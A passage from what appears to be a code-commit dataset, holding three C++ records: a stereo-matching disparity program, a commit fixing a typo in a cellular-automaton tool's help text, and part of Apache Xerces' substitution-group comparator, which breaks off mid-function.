&leftImage, const cv::Mat &rightImage) {\n return std::min(calculatePixelCostOneWayBT(row, leftCol, rightCol, leftImage, rightImage),\n calculatePixelCostOneWayBT(row, rightCol, leftCol, rightImage, leftImage));\n}\n\nvoid calculatePixelCost(cv::Mat &firstImage, cv::Mat &secondImage, int disparityRange, unsigned short ***C) {\n for (int row = 0; row < firstImage.rows; ++row) {\n for (int col = 0; col < firstImage.cols; ++col) {\n for (int d = 0; d < disparityRange; ++d) {\n C[row][col][d] = calculatePixelCostBT(row, col, col - d, firstImage, secondImage);\n }\n }\n }\n}\n\nvoid initializePaths(std::vector<path> &paths, unsigned short pathCount) {\n for (unsigned short i = 0; i < pathCount; ++i) {\n paths.push_back(path());\n }\n\n if(paths.size() >= 2) {\n paths[0].rowDiff = 0;\n paths[0].colDiff = 1;\n paths[0].index = 0;\n\n paths[1].rowDiff = 0;\n paths[1].colDiff = -1;\n paths[1].index = 1;\n }\n\n if(paths.size() >= 4) {\n paths[2].rowDiff = -1;\n paths[2].colDiff = 0;\n paths[2].index = 2;\n\n paths[3].rowDiff = 1;\n paths[3].colDiff = 0;\n paths[3].index = 3;\n }\n\n if(paths.size() >= 8) {\n paths[4].rowDiff = -1;\n paths[4].colDiff = 1;\n paths[4].index = 4;\n\n paths[5].rowDiff = 1;\n paths[5].colDiff = 1;\n paths[5].index = 5;\n\n paths[6].rowDiff = 1;\n paths[6].colDiff = -1;\n paths[6].index = 6;\n\n paths[7].rowDiff = -1;\n paths[7].colDiff = -1;\n paths[7].index = 7;\n }\n\n if(paths.size() >= 16) {\n paths[8].rowDiff = -2;\n paths[8].colDiff = 1;\n paths[8].index = 8;\n\n paths[9].rowDiff = -2;\n paths[9].colDiff = -1;\n paths[9].index = 9;\n\n paths[10].rowDiff = 2;\n paths[10].colDiff = 1;\n paths[10].index = 10;\n\n paths[11].rowDiff = 2;\n paths[11].colDiff = -1;\n paths[11].index = 11;\n\n paths[12].rowDiff = 1;\n paths[12].colDiff = -2;\n paths[12].index = 12;\n\n paths[13].rowDiff = -1;\n paths[13].colDiff = -2;\n paths[13].index = 13;\n\n paths[14].rowDiff = 1;\n paths[14].colDiff = 2;\n paths[14].index = 14;\n\n paths[15].rowDiff = -1;\n paths[15].colDiff = 2;\n paths[15].index = 15;\n }\n}\n\nunsigned short aggregateCost(int row, int col, int d, path &p, int rows, int cols, int disparityRange, unsigned short ***C, unsigned short ***A, unsigned short ***S, unsigned int iter) {\n unsigned short aggregatedCost = 0;\n aggregatedCost += C[row][col][d];\n\n if(DEBUG) {\n for (unsigned int i = 0; i < iter; ++i) {\n printf(\" \");\n }\n printf(\"{P%d}[%d][%d](d%d)\\n\", p.index, row, col, d);\n }\n\n if (A[row][col][d] != MAX_SHORT) {\n if(DEBUG) {\n for (unsigned int i = 0; i < iter; ++i) {\n printf(\" \");\n }\n printf(\"{P%d}[%d][%d](d%d)-> %d<CACHED>\\n\", p.index, row, col, d, A[row][col][d]);\n }\n return A[row][col][d];\n }\n\n if (row + p.rowDiff < 0 || row + p.rowDiff >= rows || col + p.colDiff < 0 || col + p.colDiff >= cols) {\n \/\/ border\n A[row][col][d] = aggregatedCost;\n if(DEBUG) {\n for (unsigned int i = 0; i < iter; ++i) {\n printf(\" \");\n }\n printf(\"{P%d}[%d][%d](d%d)-> %d <BORDER>\\n\", p.index, row, col, d, A[row][col][d]);\n }\n return A[row][col][d];\n\n return aggregatedCost;\n }\n\n unsigned short minPrev, minPrevOther, prev, prevPlus, prevMinus;\n prev = minPrev = minPrevOther = prevPlus = prevMinus = MAX_SHORT;\n\n for (int disp = 0; disp < disparityRange; ++disp) {\n unsigned short tmp = aggregateCost(row + p.rowDiff, col + p.colDiff, disp, p, rows, cols, disparityRange, C, A, S, ++iter);\n if(minPrev > tmp) {\n minPrev = tmp;\n }\n\n if(disp == d) {\n prev = tmp;\n } else if(disp == d + 1) {\n prevPlus = tmp;\n } else if (disp == d - 1) {\n prevMinus = tmp;\n } else {\n if(minPrevOther > tmp + LARGE_PENALTY) {\n minPrevOther = tmp + LARGE_PENALTY;\n }\n }\n }\n\n aggregatedCost += std::min(std::min((int)prevPlus + SMALL_PENALTY, (int)prevMinus + SMALL_PENALTY), std::min((int)prev, (int)minPrevOther + LARGE_PENALTY));\n aggregatedCost -= minPrev;\n\n A[row][col][d] = aggregatedCost;\n\n if(DEBUG) {\n for (unsigned int i = 0; i < iter; ++i) {\n printf(\" \");\n }\n printf(\"{P%d}[%d][%d](d%d)-> %d<CALCULATED>\\n\", p.index, row, col, d, A[row][col][d]);\n }\n\n return aggregatedCost;\n}\n\nvoid aggregateCosts(int rows, int cols, int disparityRange, std::vector<path> &paths, unsigned short ***C, unsigned short ***A, unsigned short ***S) {\n for (unsigned long p = 0; p < paths.size(); ++p) {\n \/\/ TODO clear path array\n unsigned int size = rows * cols * disparityRange;\n for (int row = 0; row < rows; ++row) {\n for (int col = 0; col < cols; ++col) {\n for (int d = 0; d < disparityRange; ++d) {\n A[row][col][d] = MAX_SHORT;\n }\n }\n }\n\n for (int row = 0; row < rows; ++row) {\n for (int col = 0; col < cols; ++col) {\n for (int d = 0; d < disparityRange; ++d) {\n S[row][col][d] += aggregateCost(row, col, d, paths[p], rows, cols, disparityRange, C, A, S, 0);\n }\n }\n }\n }\n}\n\nvoid computeDisparity(unsigned short ***S, int rows, int cols, int disparityRange, cv::Mat &disparityMap) {\n unsigned int disparity = 0, minCost;\n for (int row = 0; row < rows; ++row) {\n for (int col = 0; col < cols; ++col) {\n minCost = MAX_SHORT;\n for (int d = disparityRange - 1; d >= 0; --d) {\n if(minCost > S[row][col][d]) {\n minCost = S[row][col][d];\n disparity = d;\n }\n }\n disparityMap.at<uchar>(row, col) = disparity;\n }\n }\n}\n\nvoid saveDisparityMap(cv::Mat &disparityMap, int disparityRange, char* outputFile) {\n double factor = 256.0 \/ disparityRange;\n for (int row = 0; row < disparityMap.rows; ++row) {\n for (int col = 0; col < disparityMap.cols; ++col) {\n disparityMap.at<uchar>(row, col) *= factor;\n }\n }\n cv::imwrite(outputFile, disparityMap);\n}\n\nint main(int argc, char** argv) {\n\n if (argc != 5) {\n std::cerr << \"Usage: \" << argv[0] << \" <left image> <right image> <output image file> <disparity range>\" << std::endl;\n return -1;\n }\n\n char *firstFileName = argv[1];\n char *secondFileName = argv[2];\n char *outFileName = argv[3];\n\n cv::Mat firstImage;\n cv::Mat secondImage;\n firstImage = cv::imread(firstFileName, CV_LOAD_IMAGE_GRAYSCALE);\n secondImage = cv::imread(secondFileName, CV_LOAD_IMAGE_GRAYSCALE);\n\n if(!firstImage.data || !secondImage.data) {\n std::cerr << \"Could not open or find one of the images!\" << std::endl;\n return -1;\n }\n\n unsigned int disparityRange = atoi(argv[4]);\n unsigned short ***C; \/\/ pixel cost array W x H x D\n unsigned short ***S; \/\/ aggregated cost array W x H x D\n unsigned short ***A; \/\/ single path cost array W x H x D\n std::vector<path> paths;\n\n initializePaths(paths, PATH_COUNT);\n\n \/*\n * TODO\n * variable LARGE_PENALTY\n *\/\n\n clock_t begin = clock();\n\n std::cout << \"Allocating space...\" << std::endl;\n\n \/\/ allocate cost arrays\n C = new unsigned short**[firstImage.rows];\n S = new unsigned short**[firstImage.rows];\n for (int row = 0; row < firstImage.rows; ++row) {\n C[row] = new unsigned short*[firstImage.cols];\n S[row] = new unsigned short*[firstImage.cols]();\n for (int col = 0; col < firstImage.cols; ++col) {\n C[row][col] = new unsigned short[disparityRange];\n S[row][col] = new unsigned short[disparityRange](); \/\/ initialize to 0\n }\n }\n\n A = new unsigned short **[firstImage.rows];\n for (int row = 0; row < firstImage.rows; ++row) {\n A[row] = new unsigned short*[firstImage.cols];\n for (int col = 0; col < firstImage.cols; ++col) {\n A[row][col] = new unsigned short[disparityRange];\n for (unsigned int d = 0; d < disparityRange; ++d) {\n A[row][col][d] = MAX_SHORT; \/\/ TODO set before each path calculation\n }\n }\n }\n\n std::cout << \"Smoothing images...\" << std::endl;\n grayscaleGaussianBlur(firstImage, firstImage, BLUR_RADIUS);\n grayscaleGaussianBlur(secondImage, secondImage, BLUR_RADIUS);\n\n std::cout << \"Calculating pixel cost for the image...\" << std::endl;\n calculatePixelCost(firstImage, secondImage, disparityRange, C);\n if(DEBUG) {\n printArray(C, firstImage.rows, firstImage.cols, disparityRange);\n }\n std::cout << \"Aggregating costs...\" << std::endl;\n aggregateCosts(firstImage.rows, firstImage.cols, disparityRange, paths, C, A, S);\n\n cv::Mat disparityMap = cv::Mat(cv::Size(firstImage.cols, firstImage.rows), CV_8UC1, cv::Scalar::all(0));\n\n std::cout << \"Computing disparity...\" << std::endl;\n computeDisparity(S, firstImage.rows, firstImage.cols, disparityRange, disparityMap);\n\n clock_t end = clock();\n double elapsed_secs = double(end - begin) \/ CLOCKS_PER_SEC;\n\n printf(\"Done in %.2lf seconds.\\n\", elapsed_secs);\n\n saveDisparityMap(disparityMap, disparityRange, outFileName);\n\n return 0;\n}<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2014 David Chisnall\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy of\n * this software and associated documentation files (the \"Software\"), to deal in\n * the Software without restriction, including without limitation the rights to\n * use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of\n * the Software, and to permit persons to whom the Software is furnished to do so,\n * subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\n * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\n * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\n * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\/\n#include <iostream>\n#include <ctype.h>\n#include <fcntl.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys\/resource.h>\n#include <time.h>\n#include <unistd.h>\n#include \"parser.hh\"\n#include \"ast.hh\"\n\nstatic int enableTiming = 0;\n\nstatic void logTimeSince(clock_t c1, const char *msg)\n{\n\tif (!enableTiming) { return; }\n\tclock_t c2 = clock();\n\tstruct rusage r;\n\tgetrusage(RUSAGE_SELF, &r);\n\tfprintf(stderr, \"%s took %f seconds.\tPeak used %ldKB.\\n\", msg,\n\t\t(static_cast<double>(c2) - static_cast<double>(c1)) \/ static_cast<double>(CLOCKS_PER_SEC), r.ru_maxrss);\n}\n\nint main(int argc, char **argv)\n{\n\tint iterations = 1;\n\tint useJIT = 0;\n\tint optimiseLevel = 0;\n\tint gridSize = 5;\n\tint maxValue = 1;\n\tclock_t c1;\n\tint c;\n\twhile ((c = getopt(argc, argv, \"ji:tO:x:m:\")) != -1)\n\t{\n\t\tswitch (c)\n\t\t{\n\t\t\tdefault:\n\t\t\t\tbreak;\n\t\t\tcase 'j':\n\t\t\t\tuseJIT = 1;\n\t\t\t\tbreak;\n\t\t\tcase 'x':\n\t\t\t\tgridSize = strtol(optarg, 0, 10);\n\t\t\t\tbreak;\n\t\t\tcase 'm':\n\t\t\t\tmaxValue = strtol(optarg, 0, 10);\n\t\t\t\tbreak;\n\t\t\tcase 'i':\n\t\t\t\titerations = strtol(optarg, 0, 10);\n\t\t\t\tbreak;\n\t\t\tcase 't':\n\t\t\t\tenableTiming = 1;\n\t\t\t\tbreak;\n\t\t\tcase 'O':\n\t\t\t\toptimiseLevel = strtol(optarg, 0, 10);\n\t\t}\n\t}\n\targc -= optind;\n\tif (argc < 1)\n\t{\n\t\tfprintf(stderr, \"usage: %s -jt -i {iterations} -o {optimisation level} -x {grid size} -m {max initial value} {file name}\\n\", argv[0]);\n\t\treturn EXIT_FAILURE;\n\t}\n\targv += optind;\n\n\t\/\/ Do the parsing\n\tParser::CellAtomParser p;\n\tpegmatite::AsciiFileInput input(open(argv[0], O_RDONLY));\n\tstd::unique_ptr<AST::StatementList> ast = 0;\n\tc1 = clock();\n\tpegmatite::ErrorReporter err =\n\t\t[](const pegmatite::InputRange& r, const std::string& msg) {\n\t\tstd::cout << \"error: \" << msg << std::endl;\n\t\tstd::cout << \"line \" << r.start.line\n\t\t << \", col \" << r.start.col << std::endl;\n\t};\n\tif (!p.parse(input, p.g.statements, p.g.ignored, err, ast))\n\t{\n\t\treturn EXIT_FAILURE;\n\t}\n\tlogTimeSince(c1, \"Parsing program\");\n\tassert(ast);\n\n\n#ifdef DUMP_AST\n\tfor (uintptr_t i=0 ; i<result->count ; i++)\n\t{\n\t\tprintAST(result->list[i]);\n\t\tputchar('\\n');\n\t}\n#endif\n#ifdef STATIC_TESTING_GRID\n\tint16_t oldgrid[] = {\n\t\t 0,0,0,0,0,\n\t\t 0,0,0,0,0,\n\t\t 0,1,1,1,0,\n\t\t 0,0,0,0,0,\n\t\t 0,0,0,0,0\n\t};\n\tint16_t newgrid[25];\n\tgridSize = 5;\n\tint16_t *g1 = oldgrid;\n\tint16_t *g2 = newgrid;\n#else\n\tint16_t *g1 = reinterpret_cast<int16_t*>(malloc(sizeof(int16_t) * gridSize * gridSize));\n\tint16_t *g2 = reinterpret_cast<int16_t*>(malloc(sizeof(int16_t) * gridSize * gridSize));\n\t\/\/int16_t *g2 = new int16_t[gridSize * gridSize];\n\tc1 = clock();\n\tfor (int i=0 ; i<(gridSize*gridSize) ; i++)\n\t{\n\t\tg1[i] = random() % (maxValue + 1);\n\t}\n\tlogTimeSince(c1, \"Generating random grid\");\n#endif\n\tint i=0;\n\tif (useJIT)\n\t{\n\t\tc1 = clock();\n\t\tCompiler::automaton ca = Compiler::compile(ast.get(), optimiseLevel);\n\t\tlogTimeSince(c1, \"Compiling\");\n\t\tc1 = clock();\n\t\tfor (int i=0 ; i<iterations ; i++)\n\t\t{\n\t\t\tca(g1, g2, gridSize, gridSize);\n\t\t\tstd::swap(g1, g2);\n\t\t}\n\t\tlogTimeSince(c1, \"Running compiled version\");\n\t}\n\telse\n\t{\n\t\tc1 = clock();\n\t\tfor (int i=0 ; i<iterations ; i++)\n\t\t{\n\t\t\tInterpreter::runOneStep(g1, g2, gridSize, gridSize, ast.get());\n\t\t\tstd::swap(g1, g2);\n\t\t}\n\t\tlogTimeSince(c1, \"Interpreting\");\n\t}\n\tfor (int x=0 ; x<gridSize ; x++)\n\t{\n\t\tfor (int y=0 ; y<gridSize ; y++)\n\t\t{\n\t\t\tprintf(\"%d \", g1[i++]);\n\t\t}\n\t\tputchar('\\n');\n\t}\n\treturn 0;\n}\n<commit_msg>Fix typo in help text.<commit_after>\/*\n * Copyright (c) 2014 David Chisnall\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy of\n * this software and associated documentation files (the \"Software\"), to deal in\n * the Software without restriction, including without limitation the rights to\n * use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of\n * the Software, and to permit persons to whom the Software is furnished to do so,\n * subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\n * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\n * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\n * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\/\n#include <iostream>\n#include <ctype.h>\n#include <fcntl.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys\/resource.h>\n#include <time.h>\n#include <unistd.h>\n#include \"parser.hh\"\n#include \"ast.hh\"\n\nstatic int enableTiming = 0;\n\nstatic void logTimeSince(clock_t c1, const char *msg)\n{\n\tif (!enableTiming) { return; }\n\tclock_t c2 = clock();\n\tstruct rusage r;\n\tgetrusage(RUSAGE_SELF, &r);\n\tfprintf(stderr, \"%s took %f seconds.\tPeak used %ldKB.\\n\", msg,\n\t\t(static_cast<double>(c2) - static_cast<double>(c1)) \/ static_cast<double>(CLOCKS_PER_SEC), r.ru_maxrss);\n}\n\nint main(int argc, char **argv)\n{\n\tint iterations = 1;\n\tint useJIT = 0;\n\tint optimiseLevel = 0;\n\tint gridSize = 5;\n\tint maxValue = 1;\n\tclock_t c1;\n\tint c;\n\twhile ((c = getopt(argc, argv, \"ji:tO:x:m:\")) != -1)\n\t{\n\t\tswitch (c)\n\t\t{\n\t\t\tdefault:\n\t\t\t\tbreak;\n\t\t\tcase 'j':\n\t\t\t\tuseJIT = 1;\n\t\t\t\tbreak;\n\t\t\tcase 'x':\n\t\t\t\tgridSize = strtol(optarg, 0, 10);\n\t\t\t\tbreak;\n\t\t\tcase 'm':\n\t\t\t\tmaxValue = strtol(optarg, 0, 10);\n\t\t\t\tbreak;\n\t\t\tcase 'i':\n\t\t\t\titerations = strtol(optarg, 0, 10);\n\t\t\t\tbreak;\n\t\t\tcase 't':\n\t\t\t\tenableTiming = 1;\n\t\t\t\tbreak;\n\t\t\tcase 'O':\n\t\t\t\toptimiseLevel = strtol(optarg, 0, 10);\n\t\t}\n\t}\n\targc -= optind;\n\tif (argc < 1)\n\t{\n\t\tfprintf(stderr, \"usage: %s -jt -i {iterations} -O {optimisation level} -x {grid size} -m {max initial value} {file name}\\n\", argv[0]);\n\t\treturn EXIT_FAILURE;\n\t}\n\targv += optind;\n\n\t\/\/ Do the parsing\n\tParser::CellAtomParser p;\n\tpegmatite::AsciiFileInput input(open(argv[0], O_RDONLY));\n\tstd::unique_ptr<AST::StatementList> ast = 0;\n\tc1 = clock();\n\tpegmatite::ErrorReporter err =\n\t\t[](const pegmatite::InputRange& r, const std::string& msg) {\n\t\tstd::cout << \"error: \" << msg << std::endl;\n\t\tstd::cout << \"line \" << r.start.line\n\t\t << \", col \" << r.start.col << std::endl;\n\t};\n\tif (!p.parse(input, p.g.statements, p.g.ignored, err, ast))\n\t{\n\t\treturn EXIT_FAILURE;\n\t}\n\tlogTimeSince(c1, \"Parsing program\");\n\tassert(ast);\n\n\n#ifdef DUMP_AST\n\tfor (uintptr_t i=0 ; i<result->count ; i++)\n\t{\n\t\tprintAST(result->list[i]);\n\t\tputchar('\\n');\n\t}\n#endif\n#ifdef STATIC_TESTING_GRID\n\tint16_t oldgrid[] = {\n\t\t 0,0,0,0,0,\n\t\t 0,0,0,0,0,\n\t\t 0,1,1,1,0,\n\t\t 0,0,0,0,0,\n\t\t 0,0,0,0,0\n\t};\n\tint16_t newgrid[25];\n\tgridSize = 5;\n\tint16_t *g1 = oldgrid;\n\tint16_t *g2 = newgrid;\n#else\n\tint16_t *g1 = reinterpret_cast<int16_t*>(malloc(sizeof(int16_t) * gridSize * gridSize));\n\tint16_t *g2 = reinterpret_cast<int16_t*>(malloc(sizeof(int16_t) * gridSize * gridSize));\n\t\/\/int16_t *g2 = new int16_t[gridSize * gridSize];\n\tc1 = clock();\n\tfor (int i=0 ; i<(gridSize*gridSize) ; i++)\n\t{\n\t\tg1[i] = random() % (maxValue + 1);\n\t}\n\tlogTimeSince(c1, \"Generating random grid\");\n#endif\n\tint i=0;\n\tif (useJIT)\n\t{\n\t\tc1 = clock();\n\t\tCompiler::automaton ca = Compiler::compile(ast.get(), optimiseLevel);\n\t\tlogTimeSince(c1, \"Compiling\");\n\t\tc1 = clock();\n\t\tfor (int i=0 ; i<iterations ; i++)\n\t\t{\n\t\t\tca(g1, g2, gridSize, gridSize);\n\t\t\tstd::swap(g1, g2);\n\t\t}\n\t\tlogTimeSince(c1, \"Running compiled version\");\n\t}\n\telse\n\t{\n\t\tc1 = clock();\n\t\tfor (int i=0 ; i<iterations ; i++)\n\t\t{\n\t\t\tInterpreter::runOneStep(g1, g2, gridSize, gridSize, ast.get());\n\t\t\tstd::swap(g1, g2);\n\t\t}\n\t\tlogTimeSince(c1, \"Interpreting\");\n\t}\n\tfor (int x=0 ; x<gridSize ; x++)\n\t{\n\t\tfor (int y=0 ; y<gridSize ; y++)\n\t\t{\n\t\t\tprintf(\"%d \", g1[i++]);\n\t\t}\n\t\tputchar('\\n');\n\t}\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * The Apache Software License, Version 1.1\n *\n * Copyright (c) 2001 The Apache Software Foundation. All rights\n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n * if any, must include the following acknowledgment:\n * \"This product includes software developed by the\n * Apache Software Foundation (http:\/\/www.apache.org\/).\"\n * Alternately, this acknowledgment may appear in the software itself,\n * if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xerces\" and \"Apache Software Foundation\" must\n * not be used to endorse or promote products derived from this\n * software without prior written permission. For written\n * permission, please contact apache\\@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n * nor may \"Apache\" appear in their name, without prior written\n * permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation, and was\n * originally based on software copyright (c) 2001, International\n * Business Machines, Inc., http:\/\/www.ibm.com . For more information\n * on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\n\/*\n * $Log$\n * Revision 1.10 2001\/11\/21 14:30:13 knoaman\n * Fix for UPA checking.\n *\n * Revision 1.9 2001\/11\/07 21:50:28 tng\n * Fix comment log that lead to error.\n *\n * Revision 1.8 2001\/11\/07 21:12:15 tng\n * Performance: Create QName in ContentSpecNode only if it is a leaf\/Any\/PCDataNode.\n *\n * Revision 1.7 2001\/10\/04 15:08:56 knoaman\n * Add support for circular import.\n *\n * Revision 1.6 2001\/08\/21 15:57:51 tng\n * Schema: Add isAllowedByWildcard. Help from James Murphy.\n *\n * Revision 1.5 2001\/05\/29 19:47:22 knoaman\n * Fix bug - memory was not allocated before call to XMLString::subString\n *\n * Revision 1.4 2001\/05\/28 20:55:42 tng\n * Schema: Null pointer checking in SubsitutionGropuComparator\n *\n * Revision 1.3 2001\/05\/11 13:27:37 tng\n * Copyright update.\n *\n * Revision 1.2 2001\/05\/04 14:50:28 tng\n * Fixed the cvs symbols.\n *\n *\n *\/\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ Includes\n\/\/ ---------------------------------------------------------------------------\n#include <validators\/schema\/SubstitutionGroupComparator.hpp>\n#include <validators\/common\/Grammar.hpp>\n#include <validators\/schema\/SchemaGrammar.hpp>\n#include <validators\/schema\/ComplexTypeInfo.hpp>\n#include <validators\/schema\/SchemaSymbols.hpp>\n\nbool SubstitutionGroupComparator::isEquivalentTo(QName* const anElement\n , QName* const exemplar)\n{\n if (!anElement && !exemplar)\n return true;\n\n if ((!anElement && exemplar) || (anElement && !exemplar))\n return false;\n\n\n if ((XMLString::compareString(anElement->getLocalPart(), exemplar->getLocalPart()) == 0) &&\n (anElement->getURI() == exemplar->getURI()))\n return true; \/\/ they're the same!\n\n if (!fGrammarResolver || !fStringPool )\n {\n ThrowXML(RuntimeException, XMLExcepts::SubGrpComparator_NGR);\n }\n\n unsigned int uriId = anElement->getURI();\n if (uriId == XMLContentModel::gEOCFakeId ||\n uriId == XMLContentModel::gEpsilonFakeId ||\n uriId == XMLElementDecl::fgPCDataElemId)\n return false;\n\n const XMLCh* uri = fStringPool->getValueForId(uriId);\n const XMLCh* localpart = anElement->getLocalPart();\n\n \/\/ In addition to simply trying to find a chain between anElement and exemplar,\n \/\/ we need to make sure that no steps in the chain are blocked.\n \/\/ That is, at every step, we need to make sure that the element\n \/\/ being substituted for will permit being substituted\n \/\/ for, and whether the type of the element will permit derivations in\n \/\/ instance documents of this sort.\n\n if (!uri)\n return false;\n\n SchemaGrammar *sGrammar = (SchemaGrammar*) fGrammarResolver->getGrammar(uri);\n if (!sGrammar || sGrammar->getGrammarType() == Grammar::DTDGrammarType)\n return false;\n\n SchemaElementDecl* pElemDecl = (SchemaElementDecl*) sGrammar->getElemDecl(uriId, localpart, 0, Grammar::TOP_LEVEL_SCOPE);\n if (!pElemDecl)\n return false;\n\n SchemaElementDecl* anElementDecl = pElemDecl; \/\/ to preserve the ElementDecl for anElement\n XMLCh* substitutionGroupFullName = pElemDecl->getSubstitutionGroupName();\n bool foundIt = false;\n\n while (substitutionGroupFullName)\n {\n int commaAt = XMLString::indexOf(substitutionGroupFullName, chComma);\n XMLCh tmpURI[256];\n XMLCh tmpLocalpart[256];\n\n if (commaAt >= 0)\n {\n if (commaAt > 0)\n XMLString::subString(tmpURI, substitutionGroupFullName, 0, commaAt);\n\n XMLString::subString(tmpLocalpart, substitutionGroupFullName, commaAt+1, XMLString::stringLen(substitutionGroupFullName));\n }\n else {\n XMLString::subString(tmpLocalpart, substitutionGroupFullName, 0, XMLString::stringLen(substitutionGroupFullName));\n }\n\n if (!tmpURI)\n return false;\n\n sGrammar = (SchemaGrammar*) fGrammarResolver->getGrammar(tmpURI);\n if (!sGrammar || sGrammar->getGrammarType() == Grammar::DTDGrammarType)\n return false;\n\n uriId = fStringPool->addOrFind(tmpURI);\n pElemDecl = (SchemaElementDecl*) sGrammar->getElemDecl(uriId, tmpLocalpart, 0, Grammar::TOP_LEVEL_SCOPE);\n\n if (!pElemDecl)\n return false;\n\n if ((XMLString::compareString(tmpLocalpart, exemplar->getLocalPart()) == 0) &&\n (uriId == exemplar->getURI()))\n {\n \/\/ time to check for block value on element\n if((pElemDecl->getBlockSet() & SchemaSymbols::SUBSTITUTION) != 0)\n return false;\n\n foundIt = true;\n break;\n }\n\n substitutionGroupFullName = pElemDecl->getSubstitutionGroupName();\n }\/\/while\n\n if (!foundIt)\n return false;\n\n \/\/ this will contain anElement's complexType information.\n ComplexTypeInfo *aComplexType = anElementDecl->getComplexTypeInfo();\n int exemplarBlockSet = pElemDecl->getBlockSet();\n\n if(!aComplexType)\n {\n \/\/ check on simpleType case\n DatatypeValidator *anElementDV = anElementDecl->getDatatypeValidator();\n DatatypeValidator *exemplarDV = pElemDecl->getDatatypeValidator();\n\n return((anElementDV == 0) ||\n ((anElementDV == exemplarDV) ||\n ((exemplarBlockSet & SchemaSymbols::RESTRICTION) == 0)));\n }\n\n \/\/ now we have to make sure there are no blocks on the complexTypes that this is based upon\n int anElementDerivationMethod = aComplexType->getDerivedBy();\n if((anElementDerivationMethod & exemplarBlockSet) != 0)\n return false;\n\n \/\/ this will contain exemplar's complexType information.\n ComplexTypeInfo *exemplarComplexType = pElemDecl->getComplexTypeInfo();\n\n for(ComplexTypeInfo *tempType = aComplexType;\n tempType != 0 && tempType != exemplarComplexType;\n tempType = tempType->getBaseComplexTypeInfo())\n {\n if((tempType->getBlockSet() & anElementDerivationMethod) != 0)\n return false;\n }\/\/for\n\n return true;\n}\n\n\nbool SubstitutionGroupComparator::isAllowedByWildcard(SchemaGrammar* const pGrammar,\n QName* const element,\n unsigned int wuri, bool wother)\n{\n \/\/ whether the uri is allowed directly by the wildcard\n unsigned int uriId = element->getURI();\n\n if ((!wother && uriId == wuri) ||\n (wother && uriId != wuri && uriId != XMLContentModel::gEOCFakeId && uriId != XMLContentModel::gEpsilonFakeId))\n {\n return true;\n }\n\n \/\/ get all elements that can substitute the current element\n RefHash2KeysTableOf<ElemVector>* theValidSubstitutionGroups = pGrammar->getValidSubstitutionGroups();\n\n if (!theValidSubstitutionGroups)\n return false;\n\n ValueVectorOf<SchemaElementDecl*>* subsElements = theValidSubstitutionGroups->get(element->getLocalPart(), uriId);\n\n if (!subsElements)\n return false;\n\n \/\/ then check whether there exists one element that is allowed by the wildcard\n int size = subsElements->size();\n\n for (int i = 0; i < size; i++)\n {\n unsigned int subUriId = subsElements->elementAt(i)->getElementName()->getURI();\n\n if ((!wother && subUriId == wuri) ||\n (wother && subUriId != wuri && subUriId != XMLContentModel::gEOCFakeId && subUriId != XMLContentModel::gEpsilonFakeId))\n {\n return true;\n }\n }\n return 